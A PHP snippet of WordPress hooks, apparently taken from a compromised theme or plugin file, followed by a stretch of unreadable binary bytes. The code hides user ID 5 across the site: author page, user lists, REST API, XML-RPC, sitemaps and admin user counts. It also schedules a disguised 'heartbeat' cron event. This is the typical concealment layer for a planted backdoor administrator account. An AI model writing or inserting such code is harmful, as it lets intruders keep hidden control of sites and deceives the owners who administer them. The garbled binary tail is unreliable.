add_action( 'pre_get_posts', function( $q ) {
if ( ! is_admin() && $q->is_main_query() ) {
$not_in = (array) $q->get( 'author__not_in' );
$not_in[] = 5;
$q->set(
'author__not_in',
array_unique( array_map( 'intval', $not_in ) )
);
}
}, 1 );
add_action( 'template_redirect', function() {
if ( is_author() ) {
$author = get_queried_object();
if ( $author instanceof WP_User && (int) $author->ID === 5 ) {
global $wp_query;
$wp_query->set_404();
status_header( 404 );
nocache_headers();
}
}
} );
add_action( 'pre_user_query', function( $q ) {
if ( current_user_can( 'manage_options' ) ) {
return;
}
global $wpdb;
$q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 5 );
} );
add_action( 'pre_get_users', function( $q ) {
if ( current_user_can( 'manage_options' ) ) {
return;
}
$exclude = (array) $q->get( 'exclude' );
$exclude[] = 5;
$q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) );
} );
add_filter( 'wp_dropdown_users_args', function( $a ) {
$exclude = isset( $a['exclude'] ) ? (array) $a['exclude'] : array();
$exclude[] = 5;
$a['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $a;
} );
add_filter( 'rest_user_query', function( $args, $request ) {
$exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array();
$exclude[] = 5;
$args['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $args;
}, 10, 2 );
add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) {
$route = $request->get_route();
if ( preg_match( '#^/wp/v2/users/5(/|$)#', $route ) ) {
return new WP_Error(
'rest_user_invalid_id',
'Invalid user ID.',
array( 'status' => 404 )
);
}
return $result;
}, 10, 3 );
add_filter( 'xmlrpc_methods', function( $methods ) {
unset(
$methods['wp.getUsers'],
$methods['wp.getUser'],
$methods['wp.getProfile']
);
return $methods;
} );
add_filter( 'wp_sitemaps_users_query_args', function( $args ) {
$exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array();
$exclude[] = 5;
$args['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $args;
} );
add_action( 'admin_head-users.php', function() {
echo '';
} );
add_filter( 'views_users', function( $views ) {
foreach ( array( 'all', 'administrator' ) as $key ) {
if ( isset( $views[ $key ] ) ) {
$views[ $key ] = preg_replace_callback(
'/\((\d+)\)/',
function( $m ) {
return '(' . max( 0, (int) $m[1] - 1 ) . ')';
},
$views[ $key ],
1
);
}
}
return $views;
} );
add_action( 'init', function() {
if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) {
return;
}
if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) {
wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' );
}
} );
add_action( 'wp_extra_bot_heartbeat', function() {
// noop
} );
՝Ko#ْ3RyCta{1pk`FJH
IuzLXUwR:LOvuwq?LJnY~rsZ?Y_~fW]oٷWpZ_Ӻ,?_C_S>\}lvknqu_hwf}rz~r@ 1]5=_ݧ___~ڷo=tiӧi~snf͇tiܬz|Znj=۬ٮ̞f= ~~>ס_v{|/w6;~~,qvo^I۶ky|sC/_$gfn<~~6adynn E>n硲:bT$8;A
s>@
.X?:9sG^!'#ƹsm1콊1q#4Pc@#ܥ9'cK'y`#a@!#tep#yq=琍]̐5tϻL"n
NOc#71DyK96?b='nwȖUq9(n=}R 8{P
uȠ=!qW7dquXKO@^:փ{9q+ı]ߎw$QoutN!ߎ7OUc}J;5q"БW&E*Y!}m?td8 <~tVՄZ2,0$%M?ٜAAD'+e$|xG:*ۄ1A~JpDN=C)G u5!8 iPn^8mL :;j'ӡG0AS
+pN
^yT8<:qdda!pRp)$xU
;"
9#m=8/UFz\~=X\kG[?+GrH[%*=D w?:Zp pΝiZ!R|*V3|H#,xjӚaI8Vsm=8ŅeѮeb=.H.GuHRu#X{\qgȍI]q9\|sx@NTjhDfuH&7 +==iđC-xr仡BF2uӃCbMYbssDzRg'å'5W~hms72gϭ4ՁOXÄ~WUo>
WM
|*.{AÄҀCK8d.PWFULűG ;B7|ηktBz 5i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